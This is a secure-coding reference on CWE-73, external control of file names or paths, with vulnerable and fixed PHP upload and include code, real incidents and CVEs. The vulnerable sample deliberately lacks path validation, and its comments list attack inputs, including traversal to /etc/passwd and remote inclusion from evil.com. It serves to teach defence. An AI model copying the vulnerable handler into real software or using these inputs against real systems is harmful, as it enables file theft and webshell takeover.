External Control of File Name or Path

Description

External Control of File Name or Path is a vulnerability that occurs when software allows user input to control or influence the names of files or paths used in filesystem operations without proper validation and sanitization. This vulnerability enables attackers to specify arbitrary file names or paths that can result in accessing, modifying, creating, or deleting files outside the intended scope. Unlike simple path traversal which uses "../" sequences, this weakness encompasses any scenario where external input determines file locations, including file uploads with user-controlled names, configuration file paths from user input, or dynamic file includes based on request parameters. The vulnerability can lead to Local File Inclusion (LFI), arbitrary file writes, or webshell uploads.

Risk

Allowing external control over file names and paths creates severe security risks across multiple attack vectors. Attackers can specify paths to read sensitive configuration files, access source code, or retrieve credential stores. When file writes are involved, attackers can overwrite critical system files, inject malicious code into executable locations, or upload webshells that provide complete remote control over the server. Archive extraction vulnerabilities like "Zip Slip" exploit controlled file names within archives to write files to arbitrary locations. The impact ranges from information disclosure to complete system compromise, with successful webshell uploads effectively granting attackers full control over the affected server and potentially enabling lateral movement within the network.

Solution

Never trust user-supplied file names or paths. Generate file names server-side using secure random identifiers or hashes, storing the original name in a database if needed for display purposes. Implement strict allowlists for permitted file extensions and validate MIME types along with file signatures (magic bytes). Sanitize any user input that must be used in paths by removing or encoding dangerous characters including slashes, backslashes, null bytes, and path traversal sequences. Use canonical path resolution to verify final paths remain within intended directories. For file uploads, store files outside the web root and serve them through a controller that validates access. Implement proper access controls and run file operations with minimal necessary privileges.

Common Consequences

ImpactDetails
ConfidentialityScope: Confidentiality

Attackers can specify paths to read arbitrary files including configuration files, source code, credentials, and sensitive user data through controlled file name parameters.
IntegrityScope: Integrity

External control over file paths enables writing files to unintended locations, potentially overwriting configurations, injecting malicious code, or uploading webshells.
AvailabilityScope: Availability

Critical files can be overwritten or deleted through controlled file path parameters, causing application failures or system instability.
Access ControlScope: Access Control, Code Execution

Successful webshell upload or code injection through controlled file names can lead to remote code execution and complete system compromise.

Example Code + Solution Code

The following example demonstrates a vulnerable PHP file upload handler that uses user-controlled file names:

Vulnerable Code

<?php
// VULNERABLE: File upload with user-controlled filename

$upload_dir = '/var/www/uploads/';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['userfile'])) {
    // VULNERABLE: Using original filename from user
    $filename = $_FILES['userfile']['name'];

    // Attacker can upload: ../../../var/www/html/shell.php
    // Or: .htaccess
    // Or: config.php
    $target_path = $upload_dir . $filename;

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $target_path)) {
        echo "File uploaded successfully: " . htmlspecialchars($filename);
    } else {
        echo "Upload failed.";
    }
}

// VULNERABLE: User-controlled file include
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    // Attacker can use: page=../../../etc/passwd
    // Or: page=http://evil.com/shell.txt (if allow_url_include is on)
    include($page . '.php');
}
?>

This code has multiple vulnerabilities: the upload handler accepts the original filename allowing path traversal and dangerous file types, and the include statement allows Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks.

Fixed Code

<?php
$upload_dir = '/var/www/uploads/';
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowed_mime_types = [
    'image/jpeg', 'image/png', 'image/gif', 'application/pdf'
];
$max_file_size = 5 * 1024 * 1024; // 5MB

function generate_safe_filename($original_name) {
    // Generate unique filename, preserve extension
    $ext = strtolower(pathinfo($original_name, PATHINFO_EXTENSION));
    $safe_name = bin2hex(random_bytes(16)) . '.' . $ext;
    return $safe_name;
}

function validate_extension($filename, $allowed) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($ext, $allowed);
}

function validate_mime_type($filepath, $allowed_mimes) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($filepath);
    return in_array($mime, $allowed_mimes);
}

function validate_image_content($filepath) {
    // Additional validation for images - check if it's a real image
    $image_info = @getimagesize($filepath);
    return $image_info !== false;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['userfile'])) {
    $file = $_FILES['userfile'];

    // Check for upload errors
    if ($file['error'] !== UPLOAD_ERR_OK) {
        die('Upload error');
    }

    // Validate file size
    if ($file['size'] > $max_file_size || $file['size'] === 0) {
        die('Invalid file size');
    }

    // Validate extension against allowlist
    if (!validate_extension($file['name'], $allowed_extensions)) {
        die('File type not allowed');
    }

    // Validate MIME type
    if (!validate_mime_type($file['tmp_name'], $allowed_mime_types)) {
        die('Invalid file content type');
    }

    // For images, verify it's actually an image
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif'])) {
        if (!validate_image_content($file['tmp_name'])) {
            die('Invalid image file');
        }
    }

    // Generate safe filename (never use original)
    $safe_filename = generate_safe_filename($file['name']);
    $target_path = $upload_dir . $safe_filename;

    // Verify target is within upload directory
    $real_upload_dir = realpath($upload_dir);
    $real_target = realpath(dirname($target_path)) . '/' . basename($target_path);

    if (strpos($real_target, $real_upload_dir) !== 0) {
        die('Invalid upload path');
    }

    if (move_uploaded_file($file['tmp_name'], $target_path)) {
        // Store original filename in database if needed
        // save_to_db($safe_filename, $file['name'], $_SESSION['user_id']);
        echo "File uploaded successfully";
    } else {
        die('Upload failed');
    }
}

// SAFE: Whitelist-based page inclusion
$allowed_pages = ['home', 'about', 'contact', 'products'];

if (isset($_GET['page'])) {
    $page = $_GET['page'];

    // Only allow predefined pages
    if (in_array($page, $allowed_pages)) {
        $page_file = __DIR__ . '/pages/' . $page . '.php';

        // Additional verification that file exists within expected directory
        if (file_exists($page_file)) {
            include($page_file);
        } else {
            include(__DIR__ . '/pages/404.php');
        }
    } else {
        include(__DIR__ . '/pages/404.php');
    }
}
?>

The fixed code implements multiple layers of defense: generating safe random filenames server-side, validating extensions and MIME types against allowlists, verifying image content for image uploads, canonical path verification for the target location, and using a strict allowlist for page includes instead of accepting arbitrary input.


Exploited in the Wild

Zip Slip Vulnerability (Multiple Organizations, 2018)

The Zip Slip vulnerability discovered by Snyk affected thousands of projects including HP, Amazon, Apache, and Pivotal. The vulnerability exploited external control of file paths within archive entries - when applications extracted ZIP, TAR, or other archives without validating file names, attackers could include entries with paths like "../../webapps/ROOT/shell.jsp" that wrote files outside the intended extraction directory. This led to arbitrary file overwrites and remote code execution across enterprise deployments.

Accellion FTA File Transfer Appliance (Government & Enterprise, 2021)

Attackers exploited vulnerabilities in Accellion File Transfer Appliance including CVE-2021-27101 (SQL injection) combined with file upload path manipulation to deploy webshells. The attacks compromised data from numerous organizations including Shell, Kroger, Morgan Stanley, and government agencies. Attackers leveraged control over file paths during the upload process to place webshells in web-accessible directories, enabling persistent access and massive data theft.

MOVEit Transfer Zero-Day Campaign (Global, 2023)

CVE-2023-34362 in Progress MOVEit Transfer allowed attackers to exploit file path manipulation vulnerabilities to upload webshells to affected servers. The CL0P ransomware group exploited this vulnerability in a massive campaign affecting over 2,500 organizations worldwide including government agencies, financial institutions, and healthcare providers. The attack demonstrated how file name and path control vulnerabilities in file transfer solutions can have devastating global impact.


Tools to test/exploit

  • Burp Suite — comprehensive web security testing platform with file upload scanning capabilities and parameter manipulation for testing file path vulnerabilities.

  • ZipSlip — Snyk's research and proof-of-concept tools for testing Zip Slip vulnerabilities in archive extraction implementations.

  • Fuxploider — open-source file upload vulnerability scanner and exploitation tool that tests for various upload bypass techniques and path manipulation.


CVE Examples

  • CVE-2023-34362 — MOVEit Transfer SQL injection and file upload vulnerability enabling webshell deployment and mass data theft.

  • CVE-2021-27101 — Accellion FTA file path manipulation combined with SQL injection for remote code execution.

  • CVE-2018-1000001 — glibc realpath() buffer underflow through externally controlled file paths enabling privilege escalation.

  • CVE-2020-17519 — Apache Flink arbitrary file read through job submission path manipulation.


References

  1. MITRE. "CWE-73: External Control of File Name or Path." Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/73.html

  2. OWASP. "Unrestricted File Upload." OWASP Foundation. https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

  3. PortSwigger. "File upload vulnerabilities." Web Security Academy. https://portswigger.net/web-security/file-upload

  4. Snyk. "Zip Slip Vulnerability." Security Research. https://snyk.io/research/zip-slip-vulnerability